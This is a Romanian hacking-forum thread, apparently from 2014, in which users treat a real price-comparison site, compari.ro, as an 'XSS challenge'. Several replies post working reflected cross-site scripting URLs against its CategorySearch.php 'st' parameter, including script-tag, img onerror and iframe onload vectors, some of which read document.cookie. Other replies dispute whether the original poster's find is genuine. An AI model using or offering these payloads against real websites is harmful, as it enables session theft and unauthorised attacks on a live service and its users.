HARD XSS CHALLENGE

[Goke]

http://www.compari.ro/CategorySearch.php?st=

vectorul sa fie exact dupa ?st=

gen

http://www.compari.ro/CategorySearch.php?st=<script>alert(1)</script>

ci nu

http://www.compari.ro/CategorySearch.php?st=graficard&noredirect=&minprice=%22%3E%3Cimg+src%3Dx+onerror%3Dconfirm%281%29%3E&maxprice=%22%3E%3Cimg+src%3Dx+onerror%3Dconfirm%281%29%3E&orderby=9

Facut de cineva...(nu dau nume)

http://i.imgur.com/stLQEdk.png

NU AS FI VRUT SA DAU HINT... CA DUPA S-AR PRINDE TOATA LUMEA .. CRED CA VOI REGRETA DAR IN FINE

HINT=" + "

Edited June 27, 2014 by Goke

[askwrite]

Imi pare rau ca ai sters topicul vechi, in care iti luasei fail si ai spus ca parametrul este st dar tu facusei xssul la compara pret.

Cum mi-am dat seama?

1.Daca bagi orice vector in search, nu iti apare nimic, niciun rezultat, pe cand tie ti-au aparut rezultate care nu au treaba.

2.Cenzurasei campul de la compara pret.

3.Aveai prtscr la fel ca al meu. (adica era in acelasi loc)

[Goke]

in cel vechi poate , dar aici e alta situatie. vectorul trebuie sa fie exact dupa ?st=

daca cineva gaseste 2 vectori il felicit.. eu am gasit doar unul singur

-@danyweb09 http://prntscr.com/3qr3yv

Edited June 8, 2014 by Goke

[dancezar]

Ok poti sa ne dai un alert(document.domain) ms:)

[Goke]

Haideti oameni buni. Chiar nimeni nu e in stare sa rezolve acest challenge ?

200 views la post ..

[SilenTx0]

//Stiind ca a face bypass la htmlentities este un lucru imposibil ,uitati ca aici nu este imposibil ^_^//

Bypass la htmlentities se poate face in unele cazuri ideale.Iin cazul tau vectorul executat nu este cel afisat prin htmlentities, n-ai facut nici un bypass stai linistit.

[askwrite]

E afisat cu htmlspecialchars si si-a luat fail si la primul topic cu challengeu asta cand a zis ca e la parametrul st iar acum la fel.

[qwerty12]

Pai e sau nu la parametrul st?

[.Breacker]

[1:06:14 PM] 01000010 01101000 01100001 01111000 01111000 01101111 01110010: ma ajuti cu un host ?

[1:06:18 PM] 01000010 01101000 01100001 01111000 01111000 01101111 01110010: free

[1:06:22 PM] 01000010 01101000 01100001 01111000 01111000 01101111 01110010: ca am de la hostinger

[1:06:24 PM] 01000010 01101000 01100001 01111000 01111000 01101111 01110010: si

[1:06:28 PM] 01000010 01101000 01100001 01111000 01111000 01101111 01110010: numi place ,,

[1:06:35 PM] 01000010 01101000 01100001 01111000 01111000 01101111 01110010: mai demult mergea

[1:06:50 PM] 01000010 01101000 01100001 01111000 01111000 01101111 01110010: miam facut un script de conecatre la baza de date vulnerabil la sqli

[1:06:59 PM] 01000010 01101000 01100001 01111000 01111000 01101111 01110010: dar acum cand incerc order by

[1:07:01 PM] 01000010 01101000 01100001 01111000 01111000 01101111 01110010: nu mai merge

[1:07:08 PM] 01000010 01101000 01100001 01111000 01111000 01101111 01110010: si cred ca e de la host

Mda,cam a?a ceva pe skype.

[qwerty12]

Deci pana la urma e fake ? Merge ?

[Goke]

hahaha

nimeni nu reuseste sa il faca

chiar daca este foarte simplu

[QUADMACHINE]

Stagiu militar: nesatisfacut.

http://i.imgur.com/2OlEpdi.png

[EAdrian]

Stagiu militar: nesatisfacut.

http://i.imgur.com/2OlEpdi.png

De ce ai cenzurat link-ul?

[QUADMACHINE]

Scuze

compari.ro/CategorySearch.php?st=“/><script>alert(1);</script>

compari.ro/CategorySearch.php?st=‘>aaaaa<script>alert(document.cookie)</script>

compari.ro/CategorySearch.php?st=->”<''<iframe src=http://rstforums.com onload=alert(document.cookie)<

[shaggi]

Cautare: </h1><script>alert("time is relative, but shaggi is the best")</script><h1>

doar pe ffx mere, pe chrome nu mere

[.Breacker]

În acel searchbox se vede vectorul.

[QUADMACHINE]

Cu plus ..

CategorySearch.php?st=+<img src='xss.swf' onerror=alert(1)>

[.Breacker]

Dac? ?i ?sta mai e XSS.